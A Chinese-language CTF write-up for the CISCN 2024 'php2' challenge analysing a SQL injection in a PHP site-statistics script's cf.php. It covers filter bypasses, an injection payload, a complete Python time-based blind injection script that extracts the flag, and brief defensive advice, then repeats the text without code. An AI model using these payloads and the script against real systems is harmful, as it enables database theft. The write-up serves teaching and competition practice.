CISCN 2024 华东北赛区php2正解
字数 989 2025-08-24 20:49:22

CISCN 2024 华东北赛区php2漏洞分析与利用

漏洞概述

这是一个基于PHP的网站流量统计系统存在的SQL注入漏洞,位于cf.php文件中。漏洞允许攻击者通过精心构造的请求参数实现时间盲注,最终获取数据库中的敏感信息。

漏洞分析

漏洞位置

漏洞位于cf.php文件的191行,存在不安全SQL语句拼接:

$sql="insert into cfstat_visit_last (myid,username,ip,ly,webtitle,currweb,addtime,lasttime,screenwidth,screenheight,screencolordepth,ostype,browsertype) values(".($realiptotal+1).",'$username','$ip','$ly','$webtitle','$currweb','".date("Y-m-d H:i:s")."','".date("Y-m-d H:i:s")."','$screenwidth','$screenheight','$screencolordepth','$ostype','$browsertype')";

可控参数

以下参数可由攻击者控制:

  • $username - 通过$_GET["username"]传入
  • $ly - 通过$_GET["ly"]传入
  • $currweb - 通过$_GET["currweb"]传入
  • $webtitle - 通过$_GET["webtitle"]传入

过滤机制分析

所有参数都经过chkstr()函数过滤:

function chkstr($paravalue,$paratype) {
    if($paratype==1) {
        $filterstr="(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
        if (preg_match("/".$filterstr."/is",$paravalue)==1){   
            echo "传递的参数类型有错误!";
            exit;
        }
        $inputstr=str_replace("'","''",$paravalue);
    }
    // ... 其他类型检查
    return $inputstr;
}

关键点:

  1. 使用正则表达式过滤常见SQL注入关键词
  2. 将单引号替换为两个单引号
  3. 对于$ly$currweb$webtitle还使用了htmlspecialcharsurldecode处理

绕过限制的技巧

  1. 正则绕过:使用注释/*...*/分割SQL关键词,如select/*...*/flag/*...*/from
  2. 引号逃逸:利用ly参数的\转义后续的单引号
  3. 十六进制编码:使用0x表示法绕过htmlspecialchars对单引号的过滤

漏洞利用步骤

前置条件

  1. 需要一个userstate不为0的有效用户名(如mytest
  2. 需要设置firstshow=1action=countget_2

注入构造

利用lywebtitle参数构造注入:

ly=\&webtitle=,(select flag/*&currweb=*/from flag),1,1,1);#

这将生成如下SQL语句:

insert into cfstat_visit_last (...) values(...,'mytest','ly=\',webtitle=',(select/*...*/flag/*...*/from flag),1,1,1,1,1,1,1,1);#...)

时间盲注实现

由于没有直接回显,需要使用时间盲注技术:

import requests
import time

url = "http://target/cf.php"
params = {
    "username": "mytest",
    "firstshow": "1",
    "action": "countget_2",
    "ly": "\\",
    "webtitle": f",if(ascii(substr((select flag from flag),{position},1))={char},sleep(5),1),1,1,1,1,1,1,1,1);#"
}

防御建议

  1. 使用预处理语句:将SQL查询与参数分离
  2. 最小权限原则:数据库连接使用最低必要权限
  3. 输入验证:对每个参数进行严格类型和格式检查
  4. 输出编码:对所有输出进行适当的编码
  5. 错误处理:避免显示详细的数据库错误信息

完整利用脚本

import requests
import time

url = "http://127.0.0.1:801/php2/www/"
data = ""
data_len = -1

for num in range(1, 1000):
    new_data_len = len(data)
    if new_data_len == data_len:
        break
    else:
        data_len = new_data_len
    
    for i in range(30, 128):
        payload = {
            "username": "mytest",
            "firstshow": "1",
            "action": "countget_2",
            "ly": "\\",
            "webtitle": f",if(ascii(substr((select flag from flag),{num},1))={i},sleep(5),1),1,1,1,1,1,1,1,1);#"
        }
        
        time1 = time.time()
        try:
            r = requests.get(url + "cf.php", params=payload)
            time2 = time.time()
        except:
            print("error")
            exit()

        if r.status_code == 429:
            print("too fast")
            time.sleep(5)
            continue
            
        if time2 - time1 > 5:
            data += chr(i)
            print(data)
            break

print("Final data:", data[:-1])

关键点总结

  1. 必须使用有效的用户名(如mytest
  2. 需要设置firstshow=1触发插入逻辑
  3. 使用反斜杠\逃逸单引号
  4. 使用注释/*...*/分割SQL关键词绕过过滤
  5. 时间盲注是唯一可行的注入方式
  6. 每个字符的检测需要足够的时间间隔(如5秒)
CISCN 2024 华东北赛区php2漏洞分析与利用 漏洞概述 这是一个基于PHP的网站流量统计系统存在的SQL注入漏洞,位于 cf.php 文件中。漏洞允许攻击者通过精心构造的请求参数实现时间盲注,最终获取数据库中的敏感信息。 漏洞分析 漏洞位置 漏洞位于 cf.php 文件的191行,存在不安全SQL语句拼接: 可控参数 以下参数可由攻击者控制: $username - 通过 $_GET["username"] 传入 $ly - 通过 $_GET["ly"] 传入 $currweb - 通过 $_GET["currweb"] 传入 $webtitle - 通过 $_GET["webtitle"] 传入 过滤机制分析 所有参数都经过 chkstr() 函数过滤: 关键点: 使用正则表达式过滤常见SQL注入关键词 将单引号替换为两个单引号 对于 $ly 、 $currweb 和 $webtitle 还使用了 htmlspecialchars 和 urldecode 处理 绕过限制的技巧 正则绕过 :使用注释 /*...*/ 分割SQL关键词,如 select/*...*/flag/*...*/from 引号逃逸 :利用 ly 参数的 \ 转义后续的单引号 十六进制编码 :使用 0x 表示法绕过 htmlspecialchars 对单引号的过滤 漏洞利用步骤 前置条件 需要一个 userstate 不为0的有效用户名(如 mytest ) 需要设置 firstshow=1 和 action=countget_2 注入构造 利用 ly 和 webtitle 参数构造注入: 这将生成如下SQL语句: 时间盲注实现 由于没有直接回显,需要使用时间盲注技术: 防御建议 使用预处理语句 :将SQL查询与参数分离 最小权限原则 :数据库连接使用最低必要权限 输入验证 :对每个参数进行严格类型和格式检查 输出编码 :对所有输出进行适当的编码 错误处理 :避免显示详细的数据库错误信息 完整利用脚本 关键点总结 必须使用有效的用户名(如 mytest ) 需要设置 firstshow=1 触发插入逻辑 使用反斜杠 \ 逃逸单引号 使用注释 /*...*/ 分割SQL关键词绕过过滤 时间盲注是唯一可行的注入方式 每个字符的检测需要足够的时间间隔(如5秒)